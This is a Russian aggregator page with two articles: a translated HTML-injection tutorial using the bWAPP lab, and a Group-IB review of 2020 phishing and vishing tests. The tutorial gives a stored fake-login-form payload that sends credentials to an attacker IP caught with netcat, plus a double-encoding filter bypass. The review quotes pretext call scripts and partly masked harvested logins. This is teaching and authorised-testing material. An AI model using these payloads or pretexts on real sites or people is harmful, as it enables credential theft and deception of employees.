Русский
Русский
English
Статистика
Реклама

Тест на проникновение

Перевод Подробное руководство по HTML инъекциям

02.12.2020 10:08:40 | Автор: admin


HTML считается каркасом для каждого веб-приложения, определяющим его структуру. Но порой даже самую продуманную экосистему можно испортить парочкой простых скриптов.


Сегодня мы узнаем, как злоумышленники могут получить доступ к веб-приложению с помощью ошибок в его HTML коде.


Содержание:


  • Что такое HTML?
  • Что такое HTML-инъекция?
  • Угрозы HTML-инъекции
  • HTML-инъекция и XSS
  • Типы инъекций
    • Сохраненный HTML
    • Отраженный HTML
      • GET
      • POST
      • Текущий URL
  • Защита от HTML-инъекции

Что такое HTML?


HTML (HyperText Markup Langauge) это основной строительный блок сети, который определяет формирование веб-страниц в веб-приложении. HTML используется для разработки веб-сайтов, состоящих из гипертекста, чтобы включить текст внутри текста в качестве гиперссылки и комбинации элементов, которые визуально отображаются в браузере.


Что такое элемент?


Элемент это основная структурная единица веб-страницы. Он содержит открывающий и закрывающий теги с текстовым содержимым между ними.



HTML-тег


Тег HTML маркирует фрагменты содержимого, такие как:


  • заголовок
  • абзац
  • форма и т. д.

Это имена элементов, заключенные в угловые скобки, которые бывают двух типов:


  • начальный тег (открывающий тег)
  • конечный тег (закрывающий тег)

Браузеры не отображают эти HTML-теги, но используют их для получения содержимого веб-страницы.


Атрибуты HTML


Атрибуты существуют для того, чтобы добавить в элементы дополнительную информацию. Они находятся внутри начального тега и представлены парами имя/значение, так что за именем атрибута следует знак равенства и значение атрибута.


<a href = "https://alexhost.com"> Надежный и быстрый хостинг для ваших сайтов</a>

Здесь:



Теперь посмотрим на блок-схему элементов HTML и попытаемся ее реализовать для создания простой веб-страницы.



Базовая HTML-страница


Каждая веб-страница в Интернете является файлом HTML. Эти файлы представляют собой не что иное, как простые текстовые файлы с расширением .html, которые сохраняются и запускаются через веб-браузер.


Итак, давайте попробуем создать простую веб-страницу в нашем блокноте и сохранить ее как hack.html:


<html><head><title> Hacking Articles lab</title></head><body bgcolor="pink"><br><center><h2>WELCOME TO <a href=http://hackingarticles.in>HACKING ARTILCES </a></h2><br><p>Author Raj Chandel</p></center></body></html>

  • html корневой элемент каждой HTML-страницы
  • head метаинформацию о документе
  • title заголовок веб-страницы
  • body видимое содержимое страницы с атрибутом bgcolor как розовый.
  • br определяет строку разрыва или следующую строку.
  • h1 большой заголовок.
  • p абзац
  • a тег привязки, который помогает нам установить гиперссылку.

С основными моментами HTML разобрались, а для более подробного изучения можно почитать руководство.


Теперь давайте попробуем найти основные лазейки и узнать, как злоумышленники внедряют произвольные коды HTML в уязвимые веб-страницы.


Что такое HTML-инъекция?


HTML-инъекция является одной из самых простых уязвимостей, благодаря чему получила широкое распространение.


Возникает, когда веб-страница не может:


  • Дезинфицировать вводимые пользователем данные
  • Проверить вывод

Благодаря html-инъекции злоумышленник может внедрять вредоносный HTML-код в приложение через уязвимые поля, чтобы он мог изменять содержимое веб-страницы и даже собирать некоторые конфиденциальные данные.


Давайте рассмотрим, как выполняются такие атаки с использованием HTML-инъекции.


Рассмотрим веб-приложение, которое страдает от уязвимости HTML-инъекции и не проверяет какой-либо конкретный ввод. Обнаружив данную уязвимость, злоумышленник вводит свою вредоносную HTML-форму входа с приманкой, например, Бесплатные билеты в кино, чтобы обманом заставить жертву предоставить свои конфиденциальные учетные данные.


Теперь на пораженной странице пользователи будут видеть приманку Бесплатные билеты в кино, при клике по которой откроется фиктивная форма входа, созданная злоумышленником.



Угрозы HTML-инъекции


Когда поля ввода не дезинфицированы должным образом на веб-странице, тогда это может привести к атакам:


  • с использованием межсайтовых скриптов (XSS)
  • подделки запросов на стороне сервера (SSRF)

HTML-инъекция и XSS


На первый взгляд HTML-инъекция во многом похожа на межсайтовый скриптинг. Однако во время XSS-атаки можно внедрять и выполнять Javascript коды, а при HTML-инъекции приходится обходится только определенными HTML тегами.


Теперь давайте углубимся в различные атаки с использованием HTML-инъекции и рассмотрим необычные способы, с помощью которых мы можем испортить веб-страницы и получить учетные данные жертвы.


Сохраненный HTML


Сохраненный HTML внедренный вредоносный скрипт постоянно сохраняется на сервере веб-приложений, который затем передает его обратно пользователю, когда он посещает внедренную веб-страницу. Однако, когда клиент нажимает на полезную нагрузку, которая отображается как официальная часть веб-сайта, внедренный HTML-код запускается браузером. Наиболее распространенный пример сохраненного HTML это опция комментариев в блогах, которая позволяет любому пользователю вводить свой отзыв в форме комментариев для администратора или других пользователей. Давайте теперь попробуем использовать эту сохраненную уязвимость HTML и получить некоторые учетные данные.


Использование сохраненного HTML


Для манипуляция с HTML-инъекциями нам понадобиться приложение bWAPP, которое идет в комплекте с Kali Linux и другими ОС для белого хакинга.


Я открыл целевой IP-адрес в своем браузере и вошел в bWAPP как bee: bug, далее я установил для параметра Choose Your Bug значение HTML Injection Stored (Blog) и активировал кнопку взлома.


Теперь мы будем перенаправлены на веб-страницу, которая страдает от уязвимости HTML-инъекции, позволяющая пользователю отправить свою запись в блог, как показано на снимке экрана.


Для начала мы создадим обычную запись пользователя, чтобы подтвердить, что введенные данные успешно сохранены в базе данных веб-сервера, которая, таким образом, отображается в Поле ввода.



Теперь давайте попробуем внедрить нашу вредоносную полезную нагрузку, которая создаст поддельную форму входа пользователя на эту целевую веб-страницу и перенаправит захваченный запрос на наш IP-адрес. Введите следующий HTML-код в заданное текстовое поле, чтобы настроить HTML-атаку.


<div style="position: absolute; left: 0px; top: 0px; width: 1900px; height: 1300px; z-index:1000; background-color:white; padding:1em;">Please login with valid credenitals:<br><form name="login" action="http://personeltest.ru/away/192.168.0.7:4444/login.htm"><table><tr><td>Username:</td><td><input type="text" name="username"/></td></tr><tr><td>Password:</td><td><input type="text" name="password"/></td></tr><tr><td colspan=2 align=center><input type="submit" value="Login"/></td></tr></table></form>


На изображении ниже видно, что при нажатии кнопки Submit появляется новая форма входа, которая теперь находится на веб-сервере приложения и будет отображаться всякий раз при посещении пользователями данной страницы.



Давайте теперь запустим прослушиватель netcat через порт 4444, чтобы перехватывать запросы жертв.


nc lvp 4444

Теперь нужно подождать, пока жертва не загрузит данную страницу в своем браузере и не введет свои учетные данные.



На изображении выше видим, что пользователь Raj открыл веб-страницу и попытался войти в учетную запись с помощью пароля 123. Теперь вернемся к нашему прослушивателю и проверем перехваченные им данные.



На изображении видно, что мы успешно получили учетные данные.


Отраженный HTML


Отраженный HTML возникает, когда веб-приложение немедленно отвечает на введенные пользователем данные, не проверяя их. Это может привести к тому, что злоумышленник внедрит исполняемый код браузера в один ответ HTML.


Вредоносный скрипт не сохраняется на веб-сервере, поэтому злоумышленнику необходимо отправить вредоносную ссылку через фишинг, чтобы поймать пользователя.


Отраженную уязвимость HTML можно легко обнаружить в поисковых системах веб-сайта, так как злоумышленник использует текстовое поле поиска для ввода произвольного HTML-кода. Если веб-сайт уязвим, тогда страница результатов будет возвращена в ответ на эти HTML-объекты.


Отраженный HTML бывает трех типов:


  • Отраженный HTML GET. Запрашивает данные из определенного источника.
  • Отраженный HTML POST. Оправляет данные на сервер для создания/обновления ресурса.
  • Отраженный HTML Текущий URL.

Отраженный HTML GET


Мы создали веб-страницу, на которой пользователи могут оставлять отзывы со своим именем.
Когда пользователь Raj Chandel отправляет свой отзыв как Good, появляется сообщение Thanks to Raj Chandel for your valuable time.



Этот мгновенный ответ и пара имя/значение в URL-адресе показывают, что эта страница может быть уязвима для HTML-инъекции.


Давайте теперь попробуем ввести несколько HTML-кодов в эту форму и проверим уязвима страница или нет.


<h1>Raj Chandel</h1>

Установите "Отзыв" на "Good".


На изображении ниже видно, что имя пользователя Raj Chandel было изменено в качестве заголовка.



Почему это произошло? Давайте посмотрим на следующий фрагмент кода.



Разработчик не настроил никакой проверки ввода, поэтому сайт просто повторя сообщение с благодарностью, к которому добавлялось имя с помощью переменной $ _GET.


Бывают случаи, когда разработчик настраивает некоторые проверки в полях ввода, которые отображают HTML-код обратно на экран без его визуализации.


На изображении видно, что при попытке выполнить HTML-код в поле имени он отбрасывается обратно в виде обычного текста.



Значит ли это, что уязвимость здесь залатана?


Давайте проверим все это, перехватив его исходящий запрос с помощью burp suite, а затем отправим захваченный запрос прямо на вкладку Repeater.



На вкладке Repeater, при нажатии кнопки Go мы видим, что HTML объекты были здесь декодированы:



Копируем весь HTML-код:


<a href = http://hackingarticles.inhibited> <h2> Raj </h2> </a>

Вставляем его во вкладку Decoder, нажимаем Encode as и выбираем URL-адрес.
Когда мы получим закодированный вывод, то снова установим его в Encode as для URL, чтобы получить его как в формате двойного URL-кодирования.



Теперь скопируем полный URL с двойной кодировкой и вставим его в поле name = на вкладке Repeater в параметре Request. Нажмите кнопку GO, чтобы проверить сгенерированный ответ.


Отлично!!! На изображении видно, что ответ успешно обработан.



Теперь остается просто внести аналогичные изменения во вкладку Proxy и нажать кнопку Forward. На изображении видно, что мы испортили данную веб-страницу, используя ее проверенные поля.



Давайте посмотрим на фрагмент кода, чтобы увидеть, где разработчик выполнил проверку ввода.


На изображении ниже видно, что здесь разработчик сделал функцию hack для переменных данных. Он даже декодировал < и > для $data и $input, далее он использовал встроенную PHP-функцию urldecode over для $input для декодирования URL.



На изображении ниже видно, что разработчик реализовал функцию hack в поле имени.



Отраженный HTML POST


Как и в случае с веб-страницей GET, здесь также уязвимы поля Имя и Отзыв.
Поскольку реализован метод POST, то данные формы не будут отображаться в URL-адресе.
Опять попробуем изменить страницу, но в этот раз добавим изображение вместо статического текста.


<img src= "https://www.ignitetechnologies.in/img/logo-blue-white.png">

На изображении ниже видно, что логотип Ignite technologies был размещен перед экраном, поэтому злоумышленник может даже внедрить другие медиа-форматы, такие как:


  • Видео
  • Аудио
  • Гифки


Отраженный HTML Текущий URL


Может ли веб-приложение быть уязвимым для HTML-инъекции без полей ввода на веб-странице? Да, необязательно иметь поля ввода, такие как:


  • Поле комментариев
  • Поле поиска
  • Другие поля

Некоторые приложения отображают ваш URL-адрес на своих веб-страницах, который HTML-инъекция использует вместо поля ввода.



На изображении выше вы можете видеть, что текущий URL-адрес отображается на веб-странице как http://192.168.0.16/hack/html_URL.php. Воспользуемся этим преимуществом и посмотрим, что мы можем сграбить.


Настройте свой burp suite и захватите текущий HTTP-запрос.



Теперь обработаем этот запрос с помощью:


/hack/html_URL.php/<h1>Hey_are_you_there?</h1> 

Нажмите кнопку Forward, чтобы проверить результат в браузере.



Отлично!!! На изображении ниже видно, что мы успешно испортили веб-сайт, просто вставив желаемый HTML-код в URL-адрес веб-приложения.



Здесь разработчик использовал глобальную переменную PHP как $ _SERVER для захвата URL-адреса текущей страницы. Кроме того, он изменил имя хоста на HTTP_HOST и запрошенное местоположение ресурса на URL-адрес с REQUEST_URI и поместил все это в переменную $url.



Перейдя в раздел HTML, он просто установил echo с переменной $ url без какой-либо конкретной проверки, чтобы отобразить сообщение с URL-адресом.



Защита от HTML-инъекции


  • Установка HTML-скрипта, который будет фильтровать метасимволы из пользовательского ввода.
  • Реализация функции для проверки вводимых пользователем данных, чтобы они не содержали каких-либо конкретных тегов, которые могут привести к виртуальным искажениям.

image

Подробнее..

Социотехническое тестирование какое лучше выбрать в 2021 году?

29.12.2020 12:11:44 | Автор: admin


В интернете предостаточно статей о важности социотехнического тестирования. В них разбирается само понятие, методика, инструменты и почему так важно его проводить. Все просто: человек слабое звено в системе защиты любой компании.

В этой статье команда департамента аудита и консалтинга Group-IB решила пойти дальше и поделиться своим опытом социотехнического тестирования, которое проводила в этом году. Расскажем, для каких целей использовать данный вид тестирования, какие форматы предпочитали компании, что лучше выбрать в следующем году, а также каких результатов ждать.

Сразу предупреждаем, что текста получилось немало. Поэтому запасайтесь чаем, теплым свитером и любимой музыкой на фоне перед вами новогоднее чтиво. Также по нашей классике спешим предупредить (внимание: дисклеймер), что все совпадения случайны, а читатель сам в праве думать, что в этих историях правда, а что ложь.

С чего начинается социотехническое тестирование?


Тестирование начинается с формулирования целей. Именно цель определяет остальные составляющие:

  • время на подготовку к тестированию
  • объем разведывательных работ
  • формат тестирования
  • условия, которые должна обеспечить компания для старта работ
  • стоимость тестирования (эту составляющую не обсуждаем в статье)

Для чего и как проводить такое тестирование?


Социотехническое тестирование может проводиться для установления:

  • уровня осведомленности сотрудников и их практических навыков в распознавании социотехнических атак
  • эффективности функционирования систем обеспечения информационной безопасности
  • уровня подготовки сотрудников ИТ- и ИБ-отделов к выявлению и реагированию на социотехнические атаки (уровень осведомленности в вопросах безопасности данных сотрудников выше, что повышает сложность тестирования)
  • возможности компрометации инфраструктуры (социотехническое тестирование может применяться для тестирования на проникновение)

Соотношение цели социотехнического тестирования (социальная инженерия или СИ) и других его составляющих представлено в таблице.
Определить уровень подготовленности сотрудников Определить эффективность функционирования СЗИ Определить уровень подготовленности сотрудников ИТ- и ИБ-отделов Компрометация инфраструктуры
Формат тестирования письма со ссылкой на поддельный ресурс (фишинг)

письма с исполняемым вложением (нагрузка)

телефонное взаимодействие (вишинг)
письма со ссылкой на поддельный ресурс (фишинг)

письма с исполняемым вложением (нагрузка)
письма со ссылкой на поддельный ресурс (фишинг)

письма с исполняемым вложением (нагрузка)

телефонное взаимодействие (вишинг)
письма со ссылкой на поддельный ресурс (фишинг)

письма с исполняемым вложением (нагрузка)
Начальные условия ФИО сотрудников и email-адреса

номера телефонов, ФИО и/или должности сотрудников, а также любая другая информация согласно легенде

добавление в белые списки
(email-адреса, домены, СЗИ и т.д.)
ФИО сотрудников и email-адреса ФИО сотрудников и email-адреса

номера телефонов, ФИО и/или должности сотрудников, а также любая другая информация согласно легенде

добавление в белые списки
(email-адреса, домены, СЗИ и т.д.)
входная информация не предоставляется
Время на подготовку Одна неделя Две недели Одна-две недели Три недели

Теория, теория Где же обещанные истории?


Да-да. Раз обещали рассказать про опыт, то и историями поделимся. Основные моменты мы расскажем немного позже в кейсах. А сейчас немного отвлечемся на различные ошибки и просто любопытные моменты.

Очевидно, что одинаковое понимание целей и процедуры проведения социотехнического тестирования обеими сторонами (источником и потребителем), участвующими в тестировании, позволяет избежать ошибок, которые тормозят, угрожают срывом тестирования и негативно влияют на результаты.

Как показывает практика, ошибки, вызванные недопонимаем сторон, встречаются достаточно часто. Например, со стороны компаний, заказывающих социотехническое тестирование, нас поджидали следующие неожиданности:

  • затягивание согласования легенды и предоставления адресов почты для рассылки
  • предоставление неактуального списка сотрудников
  • многократная отработка одной легенды на одних и тех же сотрудниках
  • загрузка подготовленной полезной нагрузки в используемое СЗИ (да-да, здесь речь про проверку осведомленности/подготовленности сотрудников, а не СЗИ...)
  • добавление сотрудников ИТ/ИБ-отделов в рабочую переписку (при том что их уровень осведомленности и проверялся)

Но будем честны эксперты тоже не застрахованы от подобных ошибок, влияющих на результаты тестирования. И вот одна из них:

Представим, что в компании N проводится несколько социотехнических тестирований, каждое из которых включает телефонное взаимодействие с сотрудниками. Список сотрудников и их контакты предоставлял представитель компании.

Первое телефонное взаимодействие было успешным: ряд сотрудников, поддавшись на уговоры эксперта, совершили потенциально опасные действия.

Второе тестирование тоже: сотрудники поверили легенде и охотно выполнили все, о чем их попросили.

А вот третье тестирование закончилось, не успев начаться. Уже на втором звонке легенда была раскрыта, сотрудник сказал, что дважды на одну удочку не попадется и оповестит о тестировании всех сотрудников, включая службу безопасности. Тестирование пришлось остановить.

Шок! Как так? Поиск ошибки начали с повторной проверки списка сотрудников, заявленных на каждое из трех тестирований. Совпадений нет. Потом проверили номера телефонов И вот он один номер телефона, только в первом тестировании он заявлен для Ивановой Анны Сергеевны, а в третьем для Петровой Анны Сергеевны (здесь и далее используются вымышленные имена). За время, прошедшее между тестированиями, девушка сменила фамилию.

В ходе первого тестирования Иванова Анна Сергеевна поверила в легенду и выполнила все действия, следуя указаниям эксперта, а вот Петрова Анна Сергеевна быстро поставила на место нерадивого эксперта.

Получается, что ошибка была допущена на этапе подготовки: эксперт проверил только фамилии сотрудников, но проигнорировал номера телефонов.

Что из этого можно вынести? На ошибках учатся, и теперь мы внимательнее проверяем списки сотрудников, по разным критериям, разрабатываем сценарии отхода, а эксперты делятся друг с другом своими ошибками на Вики-страницах, чтобы не повторять их.

Разбираем тренды уходящего года


Форматы социотехнического тестирования


Мы покажем сводную статистику по всем социотехническим тестированиям, которые мы провели в 2020 году, а также разберем кейсы наиболее интересных и показательных проектов.

В проектах использовались следующие форматы социотехнического тестирования:

  • рассылка фишинговых писем со ссылкой на поддельный ресурс 52%
  • рассылка фишинговых писем с исполняемым вложением 36%
  • телефонные звонки (вишинг) 12%

Самым результативным (отношение количества попавшихся к общему числу получателей) из представленных форматов стал вишинг 37%.

О высокой результативности вишинга знают не только эксперты по информационной безопасности, но и реальные злоумышленники, а также различные блогеры и репортеры. Ведь не просто так в последние годы количество вишинг-атак растет.

2020 год отметился настоящим бумом вишинга как в плане звонков от самих злоумышленников, так и в плане расследований СМИ. В этом году легенды вишинга стали более разнообразны и изобретательны: предложение медицинских и юридических услуг, звонки от лица сотрудника прокуратуры, и не стоит забывать о классике расследование подозрительного перевода банком (порядком приевшийся прием, но, к сожалению, все еще работающий).

Высокая результативность вишинга объясняется следующими моментами:

  • Заранее известна информация, которую нужно получить. Это позволяет сформировать сценарий разговора, проработать вопросы, которые надо задать для достижения цели. Есть возможность подготовить пути отхода, если собеседник начнет что-то подозревать.
  • Большой объем работ по сбору информации о сотрудниках и компании, которая используется для формирования легенды и сценария разговора. Например:

    о сотрудниках: ФИО, номер мобильного телефона, добавочный номер, адрес корпоративной электронной почты, ник в телеграмме, отдел, в котором работает сотрудник, его должность, дата рождения и фото;

    о компании: наименования подразделений и имена руководителей ключевых подразделений; используемые внутренние системы.
  • В разговоре используется информация, которая указывает на осведомленность эксперта во внутренних процессах компании; отсылки на распоряжения, якобы полученные от начальников структурных подразделений компании. Например:
    Эксперт: Здравствуйте, Татьяна Игоревна! Звоню вам по просьбе руководителя Владимира Алексеевича Кузнецова. У нас произошел инцидент ИБ: по вашему пропуску сегодня через систему контроля управления доступом был зафиксирован проход в хранилище M.
  • Эксперт демонстрирует эмоциональную заинтересованность в сложившейся ситуации или схожие интересы, чтобы притупить внимание собеседника:
    Эксперт: Вы пользуетесь ноутбуком только как рабочим компьютером или по каким-то еще личным делам?
    Сотрудник: Ну, смотрю YouTube еще.
    Эксперт: Да-да, я понимаю. Не переживайте. Просто возможно, что ваша доменная учетная запись была скомпрометирована и с ее помощью смогли пройти через СКУД.

Также следует помнить про внезапность звонка (человек может не понять, кто звонит) и возможность подмены номера. Таким образом, все перечисленные приемы позволяют увеличить доверие со стороны сотрудника и ослабить его бдительность.

Что касается диалогов выше, все они приведены из реального разговора, который состоялся в рамках проекта по вишингу. В кейсе 1 подробнее рассказываем про проект и его результаты.

Кейс 1


Цель: получить информацию разной степени критичности (компания определила информацию, которую считала конфиденциальной).
Легенда: сотрудника уведомляют об инциденте ИБ его пропуск использовали для несанкционированного прохода через СКУД в хранилище М. Служба безопасности расследует инцидент и звонит, чтобы узнать текущее местоположение пропуска, где находился пропуск в рабочее время, существуют ли альтернативные способы для прохождения СКУД. Звонят в нерабочее время (выходной день). Эксперт должен убедить сотрудника проверить доменную учетную запись на факт компрометации сотрудника просят аутентифицироваться на резервном портале (фишинговый ресурс).

Количество участников и инфраструктура под спойлером
Количество участников: 50 человек.
Инфраструктура: поддельный домен, поддельный корпоративный портал, который при вводе учетных данных перенаправлял сотрудника на оригинальный портал.

Вернемся к Татьяне Игоревне и информации, которую она предоставила за время разговора:

  • использует пропуск и специальный браслет для прохождения СКУД
  • пропуск и браслет находятся дома
  • использует корпоративную электронную почту дома
  • предоставила свои учетные данные, введя их на фишинговом ресурсе:

    02.03.2020 13:48:25#0.2.0.2#ida****:rsa****55#Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 YaBrowser/19.3.1.828 Yowser/2.5 Safari/537.36

Компания остановила тестирование сотрудников после того как:

  • 29 телефонных взаимодействий было нами произведено;
  • 23 сотрудника раскрыли конфиденциальную информацию различного уровня критичности.

Как видно из примера, вишинг может использоваться не только для получения личной или конфиденциальной информации, но и для получения прямого доступа к инфраструктуре.

Какие могут быть результаты


Если сравнивать результативность рассылки фишинговых писем со ссылками на поддельный ресурс и писем с исполняемым вложением, то лидирует первый тип.

Один из ключевых факторов успеха в том, что рядовой сотрудник зачастую не разбирается в доменах, поддоменах и пр. Как следствие, он не видит разницы между portal-domain.ru и portal.domain.ru. Слова и порядок их употребления совпадают и там, и там, а вот символов можно пропустить по невнимательности или в спешке.

В свою очередь, рассылка фишинговых писем с исполняемым вложением предполагает большую вовлеченность со стороны сотрудников, поэтому данный формат тестирования показывает наименьшую результативность.



Однако сотрудники, открывшие вредоносные вложения, чаще вступают в переписку с экспертами, чем при работе с фишинговым ресурсом. Это позволяет эксперту продолжать воздействие для достижения своих целей.

Например, в попытке спасти якобы утерянные данные об отпусках сотрудники присылали не только свой график отпуска, но и файл на весь отдел, а там тысячи сотрудников со всеми данными и структура компании.

Также сотрудники часто пересылают письма своим коллегам.

Кейс 2


Цель: оценить осведомленность сотрудников в вопросах информационной безопасности.
Легенда: ознакомиться с новой системой премирования. К письму прилагался документ Премии.xls.

Количество участников и инфраструктура под спойлером
Количество участников: 75 человек.
Инфраструктура: поддельный домен, поддельный почтовый адрес (якобы принадлежащий отделу по работе с персоналом), вредоносная нагрузка, которая выполнялась в ОС удаленного компьютера, обеспечивала соединение с ним и собирала данные о конфигурации ОС.

За время тестирования удалось успешно подключиться к компьютерам 11 сотрудников (14% участников). Столкнувшись якобы с проблемой в работе документа, сотрудники вступали в переписку с экспертами в том числе и не заявленные в тестировании сотрудники.

Пример одной из таких переписок ниже:





В итоге сотрудник прислал ответное письмо, которое содержало скриншот рабочего стола.

Окей, возвращаемся к тенденциям


В 2020-м стали чаще появляться новости о том, что злоумышленники используют фишинг и вишинг в рамках одной атаки. К примеру, в начале декабря сообщалось, что злоумышленники рассылают уведомления о долгах за ЖКУ в размере 1020 тысяч рублей, которые якобы появились за время карантина, и просят оплатить поддельные квитанции онлайн.

Если человек проигнорировал письмо ему звонили от имени сотрудника управляющей компании для проверки ранее совершенных платежей. Преступники убеждали, что долг по квартплате есть, и узнавали способы оплаты и реквизиты карты, которая использовалась для платежа, а затем предлагали сделать пробную транзакцию и сообщить им код из SMS.

Для нас это не было новостью, и к тому моменту мы уже опробовали подобную схему на некоторых проектах: сначала рассылали сотрудникам фишинговые письма, а в случае низкого отклика звонили и в ходе разговора провоцировали сотрудника открыть файл или перейти по ссылке и выполнить действия, указанные в письме, или узнавали, почему он отказался выполнять инструкцию.

В результате сотрудники, которые изначально не хотели переходить по ссылке или не были заинтересованы в предлагаемой акции, меняли отношение к нашему фишинговому письму и, поддавшись на уговоры эксперта, делали то, что угрожало безопасности компании.

Таким образом, проекты, в которых одновременно использовались фишинг и вишинг, оказались более результативными, чем те, где использовался только фишинг. Сотрудники, которые подозревали, что проводится тестирование, меняли свое мнение, верили в легитимность писем и охотно шли на контакт с экспертами.

Примечание: для построения третьей диаграммы использовались общие результаты тестирования в формате фишинговых рассылок, дополняемые вишинг-активностью.



Легенды


Следует отметить, что при разработке легенды учитывается сфера деятельности компании и основной вид деятельности тестируемых сотрудников, но в основе всегда лежит сильная эмоция, которая притупляет внимание и провоцирует на необдуманные действия: жадность, любопытство, страх, доверчивость.

Ниже представлены основные примеры легенд:

  • Изменение в графике работы
  • Изменение в IT-системах
  • Система премирования
  • Скидки и бонусы
  • События в компании

Самой результативной легендой было информирование об изменениях в системе премирования.

Кроме того, упоминание легитимного сервиса, используемого многими компаниями, такого как Office 365, повышает доверие сотрудника. Такой подход часто используют реальные злоумышленники для проведения социотехнических атак.

Реалии 2020-го привнесли новое веяние в легенды социотехнического тестирования, да и реальных атак тоже. На первый план вышла коронавирусная инфекция и все, что с ней связано.

Когда коронавирус только начинался, компании просили не использовать его в качестве легенды, поскольку отсылка к столь актуальной теме гарантировала высокую результативность и негативно сказывалась на настроении сотрудников. Мы отвечали, что реальные злоумышленники не так этичны и активно используют эту легенду с начала пандемии, но получали категорический отказ. В результате табу на использование COVID-19 было снято с введением новых ограничительных мер осенью. Возможно, именно в этот момент компании осознали, что коронавирус с нами надолго и его игнорирование может привести к рискам.

Первый же проект с COVID-19 продемонстрировал неослабевающий интерес людей к данной тем и, как следствие, больше половины участников тестирования выполнили потенциально опасные действия.

Пожалуйста, прислушивайтесь к экспертам при выборе легенд.

Кейс 3


Цель: оценить осведомленность сотрудников в вопросах информационной безопасности.
Легенда: проверить сервис удаленного доступа, поскольку сотрудники переходят на удаленную работу из-за COVID-19. Для проверки доступа надо ввести учетные данные от рабочего компьютера на фишинговой странице, которая копировала страницу входа на VPN-портал.

Количество участников и инфраструктура под спойлером
Количество участников: 150 человек.
Инфраструктура: поддельный домен, поддельный почтовый адрес (якобы принадлежащий ИТ-отделу), поддельная страница входа на VPN-портал.

Пример письма для рассылки:


Мы получили следующие результаты:


Нужно больше тестирований или что будет в периоде


Каждая подобная статья заканчивается списком рекомендаций, которые позволят повысить осведомленность сотрудников в вопросах информационной безопасности.

К примеру, проверять источник письма или путь, по которому ведет ссылка. В целом, разумная рекомендация, но на практике не всегда работает. Вот смотрите: сотрудник, который получает 15 писем в день (возможно, среди читателей найдутся те, кто мечтает получать *всего* 15 писем в день), а чтение и участие в переписке не его основной вид деятельности, не будет до буквы, до знака проверять адрес отправителя или сверять его ФИО с корпоративным списком контактов.

Он увидит знакомый набор символов (самое время вспомнить про portal-domain.ru и portal.domain.ru), а должность отправителя и тема письма определят, в какую очередь он ответит на письмо. Возможно, ответная реакция на фишинговое письмо случится не сразу, но в свое время ссылка будет открыта, а исполняемое вложение запущено.

Еще одна типичная рекомендация регулярные тестирования персонала. Это замечательно, но тоже не всегда работает. Почему смотрите в кейсе 4.

Кейс 4


Компания М время от времени организовывала социотехническое тестирование своих сотрудников. Какого-то ощутимого прогресса в знаниях основ информационной безопасности не наблюдалось: сотрудники продолжали переходить по ссылкам, вступать в переписку и выполнять просьбы.

Чтобы продемонстрировать, что положительная динамика возможна только при регулярном тестировании, решили провести четыре социотехнических тестирования в течение года (в начале каждого квартала). Все тестирования проводились в одном формате, но под разными легендами, а участвовали в них сотрудники одного подразделения.

Результат регулярного тестирования оказался таким же, как и у нерегулярного: сотрудники переходили по ссылкам, вступали в переписку и раскрывали конфиденциальную информацию. Результативность отдельного тестирования в большей степени определялась актуальностью легенды. В 3 квартале легенда с COVID-19 заставила людей забыть о тренингах, наставлениях и рекомендациях.


Даже сотрудники с достаточными знаниями, умеющие распознавать атаки социальной инженерии, склонны проявлять халатное отношение к социотехническому тестированию: раз это очередной тест, то нет ничего страшного, если написать все, что думаешь по этому поводу. Вот только где уверенность, что это не реальная атака?

Кейс 5


В этом примере демонстрируем, как выявленное на ранних этапах социотехническое тестирование оказалось результативным только из-за того, что сотрудники, распознавшие тестирование, не оповестили о нем коллег.

Цель: получить валидные учетные данные сотрудников.
Легенда: проверить наличие доступа к новому корпоративному порталу.

Количество участников и инфраструктура под спойлером
Количество участников: 200 человек.
Инфраструктура: поддельный домен, поддельный почтовый адрес (якобы принадлежащий отделу техподдержки), поддельный корпоративный портал, который при вводе учетных данных перенаправлял сотрудника на оригинальный портал.

Активная фаза социотехнического тестирования началась 11 февраля 2020 года в 13:30 (МСК).

Первые учетные данные мы получили через 4 минуты:
Дата и время IP-адрес /
MAC-адрес
Введенные логин и пароль Общая информация о конфигурации рабочей станции
11.02.2020 13:34 0.0.0.1 ni*********a:V******v Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36
11.02.2020 13:34 0.0.0.6 mi****a:2******aB3 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Примерно через 30 минут после начала тестирования получили данные, явно указывающие, что легенда раскрыта и сотрудники либо догадались о проводимом тестировании, либо заподозрили атаку: вместо учетных данных в логах собиралась ненормативная лексика.
Дата и время IP-адрес /
MAC-адрес
Введенные логин и пароль Общая информация о конфигурации рабочей станции
11.02.2020 14:02 0.0.0.71 Idi ** *** sobaka:ahahhahaha Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.75 Safari/537.36
Судя по полученным результатам (IP-адрес и информация о рабочей станции), мы подозревали, что это администратор. К этому моменту получили уже 37 учетных данных. Цель достигнута!

Тестирование можно сворачивать и садиться за отчет, но сотрудники продолжали вводить учетные данные. Последний ввод данных был зафиксирован 17 февраля. Следовательно, сотрудники, распознавшие тестирование (или атаку), не предупредили об этом своих коллег.
Дата и время IP-адрес /
MAC-адрес
Введенные логин и пароль Общая информация о конфигурации рабочей станции
17.02.2020 14:08 0.0.0.55 Ty********v:T**********rah Mozilla/5.0 (iPhone; CPU iPhone OS 12_1_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0 Mobile/15E148 Safari/604.1
Всего получили 76 уникальных учетных данных. Валидность каждой пары была подтверждена.

Подобное поведение показывает, что сотрудники не до конца понимают, как себя вести при выявлении социотехнической атаки. Важно научить не только распознавать социотехнические атаки, но и правильно на них реагировать.

В случае распознавания атаки или социотехнического тестирования сотрудник не должен идти на контакт со злоумышленником (или экспертом) ни при каком условии и должен немедленно оповестить ответственных за информационную безопасность.

Итоги, проблемы и рекомендации


Наверное, уже пора заканчивать со всеми этими рассказами и историями.

Может показаться, что конец какой-то пессимистичный (какой год такой и конец): сотрудники необучаемы, рассеяны и бизнес все еще в опасности.

На самом деле все не так плохо и не стоит отчаиваться. Обращайтесь к экспертам в области практической безопасности они расскажут об актуальных тенденциях в социотехнических атаках, порекомендуют лучший именно для вас формат тестирования.

